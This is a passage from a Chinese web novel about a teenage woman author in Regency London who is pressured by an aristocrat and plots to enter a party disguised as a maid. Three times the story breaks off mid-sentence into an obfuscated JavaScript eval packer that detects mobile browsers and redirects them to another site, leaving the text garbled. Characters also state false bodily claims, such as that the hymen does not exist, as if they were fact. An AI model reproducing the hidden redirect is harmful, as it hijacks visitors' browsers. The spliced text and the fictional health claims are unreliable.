安娜早有准备,“这不是晚宴,只是沙龙,大家聚在贝斯福德庄园的豪华会客厅里,为的是欣赏音乐,讨论当下最热门的话题,我只要带着新鲜的观点去就一定不会惹那位尊贵的夫人生气。”
他看一眼钟表,叹了口气:“但愿如此。”
马车在黑夜中行进,马蹄声和车轮的滚动声交织在一起,车上的父子俩简单地交流,不知过了多久,往车窗外看去,那矗立在黑暗中的庄园越来越近。
下了马车便跟随男仆进入庄园,再由女仆指引着来到会客厅外,里面灯火辉煌,音乐婉转动听,父子俩自然地分开,各自找熟人圈子。
安娜年满16岁就进入社交界,凭借渊博的知识和优雅的谈吐,第一次参加舞会就认识了不错的朋友。
“这位是安娜·当顿,与我们一样,都是拉赫昂女士的忠实读者。”艾丽斯·格林站在两位小姐们面前热情介绍。
那两位小姐笑着与她打招呼,其中一位声音轻快地说:“贝斯福德夫人的沙龙专题是本月最受欢迎的读物,我看没有必要讨论,谁会不喜欢拉赫昂呢?”
“《规则怪谈Ⅱ》你们读完了吗?”
“它那么薄,我读得很珍惜,可惜,还是看到了《新娘》那一篇,哦,既然怎么节省都有看完的一天,我干脆全看完了。”
“你太勇敢了,我看到《千金》,求生者们只分开了十分钟,再聚时10人变成11人,我就不敢往下看了。”
“我觉得那算不上什么,真正可怕的是拉赫昂将红色和恐怖联系在一起。”
“没错,以前看到红色,能想到军装、国旗和圣乔治,现在我只能想到门口的绣花鞋。”
“没人觉得最开始的那篇《女婴》就很可怕吗?天啊,他们将活生生的女婴埋进大桥里,让她被千人踩万人踏,简直是一群魔鬼。”
聊完最害怕的情节就是最喜欢的情节,那就绕不开海伦·伊莱恩,在插画里她穿着衬衫和长裤,制式都是她们没见过的,甩着锁链战斗的模样打动了所有人的心。
她外表冷漠,但对待朋友很好,看似残酷,却不会无缘无故伤人,既拥有智慧,也拥有武力,她就是完美的具现化。
不远处站着一位高挑的小姐,余光一直往这边瞥,安娜趁着大家热火朝天的讨论,扯了扯艾丽斯的泡泡袖,艾丽斯疑惑地看过来,安娜小声询问。
“那位小姐可以请来吗?”
艾丽斯往那边看了一眼,立刻收回视线,用更小的音量说:“她不一样,她是圣奥尔本斯公爵的继女,虽然是继女,但圣奥尔本斯公爵对她很疼爱,曾亲自带她觐见国王,我听人说性格很不好相处。”
另一位听到她们的讨论,也小声加入进来:“也不怪她,之前她是银行家库茨先生的孩子,库茨死后,她妈妈得到银行百分之五十……”
“你们在说什么?”
安娜竖着耳朵听故事,转眼间故事的主角就出现在她们面前,红裙金发,神态高傲,眼神如穿梭在红裙上的金线一般锋利。
“在聊我的事?”
几位小姐面面相觑,她在干什么?没有熟人引荐,她就过来搭话,没人告诉她很不礼貌吗?
安娜站出来,脸上挂上歉意的笑容,“很抱歉,是的,您身上的裙子很像书中角色穿过的,所以多看了两眼。”
“你很有眼光,只有你看出来,这是我照着海伦的衣服让裁缝做的,哼,这个沙龙上这么多人,都声称喜爱拉赫昂,却没有一个能看出来,我看都是想借着阅读过拉赫昂文字这个名头给自己增添身价。”
小姐们面有怒色,却敢怒不敢言,圣奥尔本斯家族不是能轻易得罪的。
安娜轻声道:“不是这样的,我相信您仔细阅读过她的文字,她从来不大篇幅描写海伦的长相和穿着,只有几句侧面描写,所以大家一时没有注意。”
还有一个原因是这套衣服出自第一部,很多贵族小姐都只看了第二部。
高傲的小姐盯着她看了一会,扬起嘴角:“很高兴你也喜欢拉赫昂并且有自己的见解。”
她站在这里不走了,抓着安娜聊天,而其余贵族小姐却借故离开,惹不起,她们还躲不起吗?
安娜不怪艾丽斯,事实上,连她都想跑,幸好有戴安娜作为共同的话题,聊着聊着,渐渐能以平常心对待这位公爵继女。
她抬着下巴,神色傲慢,令人望而生畏,可是当别人展露出与身份相匹配的才华,她也能好好沟通。
父子俩的命运相似,当顿受人引荐,来到一位大人物面前。
乔治·格雷,是格雷伯爵,现任首相的第二个男儿,继承爵位土地没他的份,但凭借祖上的人脉,经营着庞大的生意,经常来往于欧洲各国。
当顿很惊喜能见到他,而格雷听到他是拉赫昂·希耶尔的编辑,漫不经心的神色变得认真。
“当顿先生是拉赫昂的编辑?那你一定见过她,她真的像报纸上说得那样,是个嫁不出去的老姑婆吗?”
当顿笑道:“那些老古板太刻薄了,请不要听信他们的随意妄断,拉赫昂还小,今年才十四岁。”
另一位男士说:“我很难想象一个十四岁的孩子怎么写出那么疯狂的情节,她的小说里充斥着暴力、血腥、强|暴,她甚至公然使用女伎这个词,她的家庭应该注意一些的。”
当顿纠正:“这不是家庭的问题,她从传教士的书中看到了什么就写什么,她只不过将那一切编写成有趣的故事。”
旁边那位男士则说:“写了又怎么样?像大多数笔者那般写‘不道德的女子’,闝客和女伎就会消失吗?多亏了她,我才知道原来不止伦敦这座城市的女子不分昼夜的卖|淫,那东方的帝国也是如此。”
男士们:“……”
哪来的卫道士?阴阳怪气什么呢?真讨厌。
男士们自发远离他,当顿想认识一下他,却被格雷拉住聊了起来。
他对戴安娜小姐很感兴趣。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773248|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“她才十四岁?”
“是的,先生,她和我都没有撒谎的必要。”
“她在报纸上说得那些话,不像这个年纪的小淑女。”
“书籍培养了她的思考能力,我也常常为她的思想感到吃惊。”
“当顿先生经常与她见面交谈吗?”
“更多是通过书信。”
“她会像报纸上那般尖锐吗?”
“怎么会呢?她不是无端发脾气的人。”
格雷的目光投向虚空,感叹道:“既善于思考,又情绪平和,如果再长得美一些,真是一个完美的女性啊。”
当顿笑容略僵,怎么觉得这话不太对劲?
他很快恢复过来,一顶高帽戴了上去:“您是一位成熟男性,来往于欧洲各地,拥有丰富的阅历,拉赫昂刚多大,担不起完美的评价。”
格雷上下打量他一番,说:“当顿先生看来是一位老派的绅士,不能懂得女性的魅力与年纪无关。没关系,我亲眼见一见就知道了。”
这话语气很淡,但充满不容回绝的意味,很是棘手。
当顿决定当做没听懂:“再等两年,您就可以在舞会上见到她了。”
笑容彻底从格雷脸上消失,他说:“两年?不,我等不了那么久。”
当顿几乎难以维持营业笑容。
他说她不到年纪,你耳朵聋吗?
去年到今年,很多人都提出想见一见作者,但都没有打扰到她,原因有二。
他们讲规矩,而且要脸,不会轻易撕破脸皮。
这位格雷伯爵的男儿,似乎既不讲规矩也不要脸。
他深吸一口气,提醒道:“格雷先生,如果我没有记错的话,您的妻子是庞森比伯爵的妹妹。”
庞森比家族虽说不比格雷家族有个当首相的,但多年来立足于伦敦,根基不比远在诺森伯兰的格雷家族差。
格雷斜睨他一眼:“当顿先生,不该你操心的事不用管,我只想早日见到拉赫昂·希耶尔小姐,对了,她的真名是什么?”
“爸爸!”
回程的马车上,安娜惊呼。
“您告诉他了?”
“我没有,合约里提到过为她保密,你把我当成什么人了?”当顿不高兴地反问。
安娜放下心来:“抱歉,爸……”
“我只告诉他,她是卢卡斯爵士的孩子。”
安娜:“?”
当顿按住额头,脸上露出矛盾痛苦的表情,“只能这样,他威胁我要封《淑女通讯》,逮捕受雇佣的报童,连我的生意也会受到影响。”
“他可能是虚张声势。”安娜不甘心地说。
当顿放下手,看向他一贯聪明的孩子:“安娜,你要赌吗?”
安娜没有回答,问道:“将此事捅到格雷伯爵面前去?”
“不到万不得已,不能去打扰首相。”
“那庞森比家族?”
“我隐隐听说那位夫人养着一个诗人。”
当顿说得模糊不清,但安娜听得懂潜台词,那对夫妻各玩各的。
这次她沉默良久,好一会才问:“爸爸,你打算怎么做?”
“先写信告诉戴安娜小姐,听听她的意思,”当顿厚道惯了,不去评价别人的长相,现在想想戴安娜那轮廓过于柔和的脸,倒是心安,“说不定见一面也没事。”
安娜却不这么认为,她需要想个别的办法。
19.规则怪谈(十九)
“像往常一样,鞋子脱了,背靠在墙上。”
“好嘞。”
戴安娜背靠着墙,身体一动不动,眼珠直往上转。
贝琳达凑近她的头顶,眯着眼睛:“5英尺6英寸,就当7英寸好了,又长高了,妈妈为你高兴。”
夏洛特低下头记录数据。
戴安娜笑眯眯地说:“都是妈妈和姐姐的手艺好。”
玛利亚满脸羡慕:“真好,唉,我只长了两英寸。”
戴安娜穿好鞋,来到她面前,自豪地仰起头:“让你多吃点,你又不肯。”
玛利亚嘴角一耷拉:“我真的吃不下。”
戴安娜痛心疾首:“那是你不运动,走,跟我去做三十个引体向上!”
玛利亚的手腕被她抓住,拉着转过身,她顿觉不好,拼尽全力扭过头:“妈妈!”
贝琳达忙着给威尔和海伦测量身高,以为玛利亚是自愿的,只是跟她打个招呼,眼睛都没往她那看,摆摆手说:“玩得开心孩子们。”
玛利亚:“……”
这就是可悲的老二的一生吗?
既要陪着老幺弹钢琴,还要陪老三锻炼身体。
“抓着门框让身体上升超过门框,这种事怎么做得到?”玛利亚崩溃了。
“是吗?”
戴安娜看了玛利亚一眼,后退两步,经过助跑一跃而起,双手抓住门框,手背青筋鼓动,双臂弯曲刺激肌肉,像溪水冲洗过的石块。
玛利亚不是第一次看,但仍然震惊,在戴安娜做完十个跳下来时问:“你锻炼得这么强壮做什么?种地吗?”
“身体是一切的本钱,就算不为种地,锻炼身体,精力充沛,我一天才能写更多东西,不然坐一会就得躺下,来吧,玛利亚。”
“……要不你还是去写作吧。”玛利亚不乐意。
“好吧,明年这个时候再量身高,你可不要发酸。”
“这两者之间有什么关系?”
“当然有,它可以拉伸脊柱和四肢,创造骨骼生长的空间。”
玛利亚将信将疑,在她的指导下,艰难地做了三个,放下话来再也不做了,一溜烟跑掉。
戴安娜没有继续强求,没什么基础的人能做三个不错了,下次再找理由就是。
她关上房门,来到书桌前,心算5英尺7英寸等于多少厘米。
毕竟用法国制定的厘米和米用了24年,英尺和英寸对她而言不太直观,难以和上辈子比较。
唔,大概是170厘米。
她这辈子只用了14年就超过上辈子8厘米。
曾经的社会氛围很差劲,裹挟着女性要矮,不能比男人高,要瘦,瘦是美,谁能相信她初一的时候以左手能圈住右手手腕为荣呢?
谁能想到那个时候她就有意识减少食量呢?
什么都没有换来,换来的只是男人在青春期疯狂进食,大人们满意地说女孩发育早,男孩发育晚,你看,这不就比女孩高了吗?
社会对女男身高存在双重标准,女孩高就是不好,男孩高就是好。
等她识破这些谎言,已经来不及了,她已经不能证明同样的进食量,她长得比男孩高了。
每每想到这一点,她就恨不得穿回去扇过去的自己。
真正看穿世界的真相之后,她发觉不该那样对待被骗的自己,更无须内耗,可恨的另有其人。
他们才该死!
戴安娜自写作以来,不说顺风顺水,至少也走出一条坦途,第二本书依旧大卖,给当顿牵了不少人脉,她拿到了500英镑的稿酬。
没有波折,心中的恨意如潮水般消退,此时此刻想到前世的种种,汹涌的情绪却两米高的海浪,重重拍打下来。
她深吸一口气,趴在书桌上,木质的凉意熨帖着手臂肌肤。
冷静点,戴安娜。
再没有说“女孩长太高不好出嫁”的亲戚,妈妈也为她长高感到高兴。
她现在就170厘米,将来会变得更高,说不定能长到180,185!
这是她一直以来的理想,好好地养大自己,不要再懵懂无知地受男权社会的欺骗。
她猛地直起身,无穷无尽的动力涌上来,翻出干净的白纸和之前的运动计划。
又长大一岁,运动量翻个倍不过分吧?
生活在乡下,一下雨外面全是泥,跑步是不行了,那就多做引体向上和俯卧撑。
看着崭新出炉的运动计划,她满意极了,往桌子上一放就扑到床上滚来滚去。
一米七一米七,嘿嘿,她将给这世界一天好脸色。
晚饭后,夏洛特想要洗澡,贝琳达负责烧热水,烧开之后,她端着盆一趟趟跑到二楼浴室,倒进浴桶里。
以前这活属于玛姬,家里无法雇佣女仆之后,就由她们分担。
她小时候提议干脆将浴室挪到一楼来,遭到一家人坚决反对,浴室这种私密的地方就该待在二楼。
行吧,就当锻炼了。
“我就说锻炼有好处吧,”戴安娜端着热气腾腾的水,停在呼哧呼哧喘气的玛利亚身边,“你看你,连端水都端不利索。”
玛利亚:“……”
她不看玛利亚的反应,三步并作两步蹭蹭蹭爬上楼梯,她得意不已,像往常一样将水倒进浴室的浴桶里,哒哒哒下楼遭了报应。
玛利亚站在厨房的不远处,对她扬了扬手中如扇子般展开的三封信,表情不怀好意。
“信使来过?给我的?”要是给威廉先生的,现在应该送去起居室。
玛利亚抬了抬下巴:“说两句好听的。”
戴安娜跨一大步,在玛利亚警觉后退之前一个熊抱圈住她,玛利亚眼前一黑,甜腻的声音从头顶响起。
“姐,你是我亲姐。”
“好了好了,给你给你,受不了。”
她松开手,如愿以偿拿到三封信,本以为是读者来信,她干完活回房间看也来得及,不想第一封就是玛姬的。
这不符合她们信件来往的规律,新书开售那天的情况,她也特意写过信,还会是什么事?
下一封是当顿,再下一封是安娜。
论亲疏应该先看玛姬的,论工作应该看当顿的。
“杜赫,这边忙的差不多了,你先回去,待会需要你,我再叫你。”站在厨房门口的贝琳达说。
戴安娜心中忐忑,点了点头,拿着信回到房间,刚关上门就揭开火漆,展开看了起来。
【杜赫,我该跟你聊一聊伦敦的天气或者一些高兴的话题作为开场白,可是我现在实在没有这个心情。
【就在前天,发生一件令人愤怒的事,我的雇主的甥男偷偷潜入了朱莉莎的房间,企图侵犯她。
【我想骂人的话应该到你的嘴边了,不用担心,杜赫,朱莉莎用你教的方法逃过一劫,那方法真的好管用,朱莉莎竟然捏死了他。
【他没有得逞,但是朱莉莎注定不能留在斯宾塞庄园了,我提议她先回老家,等风声过去,她去别的地方,或者是南安普顿,或者曼彻斯特,再找一份女仆的工作。
【然而她被吓破了胆,不敢回家,也听不进去我的话,我让她先去我家附近的山洞躲一躲,在不耽误你写作的前提下,你能帮我开导一下她吗?】
戴安娜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782040|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一口气读完,按了按胸口平复心跳,长出一口浊气。
她还以为玛姬出事了,还好没事。
再看一遍就能边看边吐槽了。
外置生殖器就是很脆弱很致命,他们当然会藏的很严实不让人知道,说不定斯宾塞庄园也没有大张旗鼓地查,甚至没有报告给警察,不然人家一看就知道是怎么死的。
万一传扬开,斯宾塞家族还要不要脸?
至于开导朱莉莎,那就更没问题啦,她最会了,而且她也很想见见这位猛人。
她先折好放在旁边,再拆开安娜的。
看的第一眼就嗯了一声,玛姬跳过那些有的没的就罢了,安娜那么守规矩的人竟然也把开场白跳了。
【戴安娜,我真希望是爸爸理解错了别人的意思,虽然这件事发生的概率微乎其微。
【自你成名之后,很多人都想见你,你知道从事文学创作的人,社会影响力会随着作品一个接一个的问世而逐渐提升,成为国王的座上宾都不令人意外。
【但她们或者他们知晓你不到进入社交界的年龄后,都体贴地表示不会去打扰你,让你安心创作,可是昨天,一个粗鲁的人竟然一定要见到你。
【他是格雷伯爵的次男,四十岁,妻子是庞森比伯爵的妹妹,爸爸打听过他的风评,那很难,商人和贵族不在一个圈子,诺森伯兰又不是一天能来回的。
【我们对他一无所知,唯一能确定的是一位道德高尚的绅士不会强硬地提出要见你这种无理请求,哪怕他放低一些姿态,都不会让人如此反感。
【你们之间的交往若是出现问题,受到伤害的绝对是你而不是他。我相信话已至此,你明白事情的严重性了,爸爸说你可以见他一面,也许不会出事,但我认为不能抱太大希望,需要做两手准备。】
戴安娜支着下巴看,安娜每一行句子的末尾字母都写得歪歪扭扭,紧张急迫跃然于纸上,而事件的中心人物却没有产生危机感。
看到她的解决方案甚至笑了出来。
【与其陷入被动,不如主动去寻找一位有钱有势的资助者,让格雷知难而退。你先不要生气,认为我在羞辱你,这很正常不是吗?
【卢梭遇到华伦夫人之前不过是个贫穷的钟表匠学徒,巴尔扎克如果没有贝尔尼夫人偿还11万法郎的债务,还赠送他金表和马车混入沙龙,现在不知道沦落到何种地步。
【假如你担心惹上麻烦,大不了名气再大一些就疏远他,就像巴尔扎克疏远贝尔尼夫人一样。如果你不同意,我们就当没有这次对话,如果你同意,请你明天住到我家来,我会努力给你物色人选。】
后面还附带一页糊弄大人的邀请信。
比起安娜的敢想敢干,当顿就保守多了,他只是将事情复述一遍,不知道是劝说她还是劝说他自己,私底下见一面没什么关系。
他若真敢放肆,就写信告诉格雷伯爵。
很不靠谱,戴安娜没当真,安娜的主意只比当顿的靠谱一丝,细想就知道男人不会像华伦夫人和贝尔尼夫人那般乐意当垫脚石。
他们很精明,很会计算得失,不然男权社会不会一代又一代如此根深蒂固。
与虎谋皮,白费心力。
她有自己的处事方式。
先写了给玛姬的回信,遗憾地表示近期内没空见朱莉莎,顺便提了提自己的困境,向她打听乔治·格雷,让她发动一下无敌的女仆情报网。
用火漆封好,再铺开一张纸写了点别的东西,吹干墨水,伸了个懒腰,拿着安娜那页糊弄大人的特供信件进入起居室。
“爸爸,我要去伦敦,安娜邀请我去她家玩。”
20.规则怪谈(二十)
4.17日,戴安娜和卢卡斯爵士的马车抵达伦敦梅菲尔街。
马车刚停稳,她就打开车门跳了下去,仰着头打量四周。
乔治时代标准的红砖房子,以大门为中心两边对称,白窗框的窗子镶嵌在房子上,整齐划一又简约优雅。
窗户的下方摆放几盆盆栽,不知名的绿色藤蔓爬上门框上方,开着几朵粉红色的小花。
漆白的门打开,门后是一位管家模样的人,她看看卢卡斯爵士,再看看后面的戴安娜。
“请问是卢卡斯爵士和戴安娜小姐吗?”
卢卡斯爵士:“正是,我们受贵府当顿小姐的邀请而来。”
管家:“当顿先生知会过,尊敬的客人们,快请进。”
她让女仆收走戴安娜的披肩和卢卡斯爵士的大衣,又让另一位女仆赶紧通知主人。
当顿知晓今日可能有客人来,故而哪也没去,就待在起居室里捧着报纸发呆。
“戴安娜小姐会来吗?”
“她会的,”安娜回答过太多次,眼睛都不从书中离开,“她不像坐以待毙的人。”
“咚咚”两声之后,女仆推门进来。
“先生,小姐,卢卡斯爵士和戴安娜小姐来访。”
当顿闭了闭眼,对女仆说快请,站起身看向女儿:“我真不觉得这是个好主意。”
安娜合上书起身,眼神颤了颤,想说什么,奈何客人们已经进来了。
双方行过礼,戴安娜歪着脑袋看安娜,卢卡斯爵士开始称赞当顿的房子和室内装修。
当顿又是眼前一黑,你是怎么笑得出来的?
难道戴安娜小姐没说她的处境吗?
他一边应付卢卡斯爵士,一边频频看向戴安娜,正与他女儿交谈的小姐注意到了,与他视线相对,可能是他的震惊太过明显,那位小姐理解他的意思,嘴角一勾,点了点头。
当顿悬着的心彻底死了,合着卢卡斯爵士什么都不知道?
“对啊。”
戴安娜跟随安娜上楼,来到她的书房里,听到她的问题后,理所当然地回答。
“不是所有家长都有解决问题的能力,他们大部分只会无能狂怒,不值得孩子信任,那孩子隐瞒他们也是应该的。”
安娜大为震撼。
她只从爸爸嘴里了解卢卡斯爵士的为人,判断出那的确是懦弱没有主见的人,不曾想戴安娜如此不信任他。
“卢卡斯爵士会粗鲁地对待你吗?”声音里满是关切。
戴安娜回过神来,赶在安娜眼底的光转变成愤怒前解释:“没有没有,我只是看到旁人的父亲,有感而发。”
瞧她,又想起一百多年后的活爹了。
安娜还是觉得哪里不对劲,她方才那冰冷的语气,讽刺的态度真像亲身经历。
转念一想也正常,她捧着信件猜测戴安娜的个性时,就隐隐感觉到她会为别人的痛苦而愤怒,这项技能是构建她写作能力的基石之一。
她是很好的人,未来也会成为很好的作家。
“我想过很多次,会在什么情况下遇见你,或许会在舞会,或许会在伦敦的衣帽店里,没想到会是这种危机的时刻。”安娜叹息道。
“唔,你说的两个地方我都不爱去,再说,并肩作战解决问题有什么不好呢?”
安娜心中一暖,她就说爸爸判断失误,戴安娜小姐说话这么好听,哪里刺人了?
要不是正事要紧,真想摆上点心和红茶,好好听她说一说某些情节是如何构思的,人物的命运以后会是如何,还有她接下来要写些什么。
“这么说,你是认可我的主意了?”
“我想稍作修改,与其找个后患无穷的男的,不如我找个金主妈妈,”戴安娜自信满满地说完,扭过头征求她的意见,“你觉得怎么样?”
安娜:“……”
不怎么样。
她不说话,戴安娜就知道答案了,不解地问:“为什么?”
安娜有些窘迫,戴安娜是不是过于单纯了呢?她难道以为那些有权有势的夫人们资助男作家纯粹是对创作的喜爱吗?
她避开对方直勾勾的目光,说:“我还没听说过有钱的夫人会资助女作家。”
戴安娜一按胸膛,抬起下巴道:“自我以后就有了。”
“你可能给不了她们想要的。”
“比如呢?”
安娜豁出去了,转过头看她:“爱?你得明白对作品的喜爱可能仅是她们愿意出钱的一部分原因。”
她以为戴安娜可能会不好意思,不料她呵呵一笑,摆了摆手:“不就是爱吗,我也有啊,而且我更专一更有职业道德,不会像他们一样既要又要,软饭硬吃。”
“那性呢?”安娜的眼睛一错不错地观察她的反应。
她其实有点后悔,不该说得如此直白,说不定会吓到她,她可能会觉得安娜·当顿是个放荡的人。
不行!不能这样!
该死,怎么就话赶话说出来了?死脑子赶紧想个读音相似的词糊弄过去。
哪成想戴安娜没有歧视她,反而啼笑皆非地问:“你觉得她们需要的是这个?”
安娜一呆,反问:“难道她们不需要?难道你也像男人们那样想,认为正派的女人没有性的欲望,只要生孩子就好了,只有家境不好的堕落女人才会有欲望吗?”
戴安娜举起双手抗议道:“说话归说话,不要骂这么脏。”
骂谁像男人呢?
她来这么一出,给安娜整不会了。
安娜不说话,戴安娜也琢磨明白她的意思了,她说:“这就是一个看山是山,看山不是山,看山还是山的问题。”
“……我不明白。”
戴安娜仔细解释一遍。
男权社会无论中外口风一致,他们将性视为权力的体现,所以通过否认她人性|欲的方式确立自己的主体地位。
他们能主动,女人不行,一旦女人做出同等行为就要给予道德上的打压,令女人羞耻,服从他们的规则。
安娜愤怒的点在于男性能自由表达,女性不能的不公平,她没有深究过女性的身体结构,只想要大声反驳。
而戴安娜认为女性确实没有这东西。
男人创造性,垄断性是因为那对他们很重要,没有就抽调发扬,而且刻在基因里的繁殖欲无法得到满足。
在他们那里,性一定程度上等于权力——掌握女人和孩子的权力。
这一切对于女人而言很无稽,女人的阴|道痛觉神经很少,不需要纳入式的性。
“跪下给我舔,我都慊他们的嘴巴脏。”她以此作为结尾,端起放凉的红茶喝了一口。
这次没有那么甜。
安娜从石化状态恢复正常,目光似藏着千言万语,只化作一句话。
“我以为我的想法就够骇人的,没想到你更惊世骇俗。”
“你似乎不太信,你可以自己试试
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787901|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊,洗澡的时候用手指伸进去……”
“你、你这么做了?”安娜大吃一惊,“你知不知道这样做会失去那个东西,你会受到未来丈夫的厌弃!”
戴安娜:“……”
短短一句话,竟然会有那么多槽点。
“首先,你说的那个东西根本不存在。”
“怎么可能?有些助产士会验,请她们开处子证明甚至需要1英镑。”
戴安娜深吸一口气:“真的没有,至少我没有碰到所谓的膜,那是以性掌控女性的骗局之一。”
“怎么会这样?”安娜不可置信。
好机会,她看上去在重塑三观,戴安娜继续说:“其次,没必要给我贷款出一个丈夫来,他厌弃我,我还憎恨他呢。”
她们以笔友的身份通信两年多了,安娜接触了她很多与众不同的思想,原以为是见不到面,所以能畅所欲言,还以为戴安娜见了面会磨合别扭一会。
她比戴安娜年纪大,应该耐心帮助她消除隔阂。
谁料别扭的人竟是她自己。
她叹了口气,一副过多信息导致大脑接触不良的模样,有气无力地问:“你想用这套理论打败可能会资助你的夫人们吗?”
“怎么会?我跟她们又不熟。”
安娜默默握紧了拳。
戴安娜自顾自道:“最重要的是提供情绪价值,我会在这方面下功夫。”
安娜松了口气,她真怕戴安娜上去跟贵妇说一些骇人听闻的话被赶出来。
“不过看你的样子,或许我应该在书里写一写,避免更多人……”
“戴安娜小姐!”安娜大声打断她。
戴安娜对她笑了笑,狡黠得像一只使坏的狐狸:“别担心,我会很小心很小心的。”
安娜:更担心了。
经过这一遭,她的声音像个病人般疲累不堪。
“说回正事吧,我昨天认识一位很喜欢你的公爵小姐,上午特意去她常去的戏剧院制造偶遇,结果才过去了一晚,她就不想听到你的名字了。”
“为什么?”
“因为你写的那些,她都做不到,所以她不要看到将赤裸裸的现实撕开给她看的你——这是原话。”
“我倒觉得症结不在于此。”
“是啊,我也知道,但事实是不能请她帮忙,贵妇们常常出没的宴会和沙龙就不能让你混进去。”
“作为小姐进不去,作为女仆是不是就有运转空间了?”
安娜:“!”
这场谈话告一段落,父子俩离开客人,聚在一起,当顿看到安娜的表情,觉得很奇怪。
“我需要在卢卡斯爵士面前隐瞒,因此心虚愧疚,安娜你为什么也这么疲倦?”
你不是很推崇、很想见到戴安娜小姐的吗?
安娜重重叹息:“别提了爸爸,一言难尽。”
她回到房间,恍惚很久,父子俩再亲密无间也不像父男那般,他们在两性问题上的利益才是一致的,他们才是真正的同族同类。
真是令人抗拒的现实。
她只难过了一会,第二天立刻恢复如常,寻找合适的宴会将戴安娜塞进去。
毕竟是社交季,伦敦别的不多,权贵们聚在一起的场合管够,白金汉宫和肯辛顿宫进不去,伯爵以下规格的活动弄明白却不难。
毕竟她有艾丽斯。
很快,她将目光锁定到一个花园派对,请求艾丽斯将戴安娜带进去。
21.规则怪谈(二十一)
三天后,戴安娜换上了女仆装。
天蓝色的亚麻布长裙,安娜姨母的旧衣服。
鱼骨紧身胸衣,但抽掉了塑料鱼骨和铝条。
一条超大的浅黄色围裙和白帽子,玛姬友情提供。
于是,拼好仆诞生了。
“怎么样,安娜?”戴安娜张开双手转了一圈,展示她的新皮肤。
当顿父子俩齐刷刷扶额。
当顿嘴角直抽:“戴安娜小姐,你不觉得这样的装扮辱没你的身份吗?”
“不觉得。”她的朋友是女仆,所以玛姬穿的衣服她也能穿。
“我保留意见,其实与格雷先生见一面也没什么。”他还在尝试说服她。
戴安娜就当没听到,跟着安娜坐上马车,前往宴会的所在地,半路上再上艾丽斯的马车。
“你好啊,好心的小姐。”她主动打招呼。
“你好,戴安娜,”艾丽斯好奇地打量她,见她神色从容,没有穷苦造成的窘迫和自卑自负,说,“你看上去不像贫困到需要潜入宴会寻求贵族夫人资助的作家。”
戴安娜早就知道安娜是如何向艾丽斯描述自己的,她竖起右手,给她看中指上的硬茧,“现在像吗?”
艾丽斯摸了摸,神色失望:“像。”
戴安娜挑眉:“你看上去很失望。”
“嗯,我还以为你是伪装成女仆与情郎相会的小姐,只是安娜为了保护你的名誉说不出口而已。”艾丽斯低着头揪裙摆。
她骂得好脏啊。
戴安娜神色疑惑:“这也不值得失望吧?”
艾丽斯看她一副木头模样,顿觉无趣,“卡洛琳不也是扮成清秀的男孩与拜伦相会吗?我还以为我今天能促成类似的事。”
她叹了口气:“你一点浪漫都不懂,怎么写好小说?”
戴安娜无语。
她管女男之间的事叫浪漫?
卡洛琳和拜伦的那点事也不值得推崇吧?
拜伦对卡洛琳做的事但凡放在琼瑶身上,她早身败名裂了。
话语到了嗓子眼,戴安娜却想起安娜的嘱托。
不要对艾丽斯说这世道不认可的话,回来对她说就够了。
戴安娜无声撇嘴。
被法语老师当成社交恐怖分子来防备了呢。
她不太会拐弯抹角,好在目的地快到了,她依照事先背好的程序,抢先跳下马车,伸出手搀扶艾丽斯下车。
艾丽斯诧异地看她一眼,等男仆验证完邀请函和身份,她带着戴安娜走进庄园大门。
自然,戴安娜不能进入宴会厅,没有任何一个上流社会的主人会让女仆招待客人,能匹配客人身价的必须是尊贵的男仆。
她跟随男仆前往一间小厅。
“你就待在这里等待宴会结束,不要乱走,最重要的是不要去宴会厅。”
说罢匆匆离去。
咔嚓一声,门被反锁了。
一直坐在椅子上装乖的戴安娜跳了起来,阔步抵达门边,快速扭了好几下门把手。
门一动不动。
她拽着门把手尝试把门卸下来,门外响起男仆的声音。
“戴安娜小姐,请不要闹了,格雷先生马上就来。”
啧,被小人做局了。
戴安娜:“你的雇主姓美地奇吧?什么时候对姓格雷的言听计从了?”
外面没动静了。
她弯下腰将裙摆系个结,解放被包裹的双腿,嘴上说道:“他承诺给你钱了?10英镑还是20英镑,你还不知道吧,他生意失败,只怕5英镑都拿不出来了。”
门外站着的男仆轻蔑一笑,伯爵的男儿和一个女仆打扮的人,不用动脑子都知道该相信谁。
念头刚刚转完,咣一声巨响,整扇门都震了震,吓得他一激灵。
“你在做什么,你疯了?”
戴安娜不理,放下腿,摸摸门:“哇哦,胡桃木做的实木门诶,不愧是贵族,你猜我第几脚能踹开它?”
最后半句的音调骤然阴沉,她可不是这个时代的普通人,有的是力气和手段,上大学没她的课,她就去学截拳道。
又是一声巨响紧随其后,男仆心惊胆战。
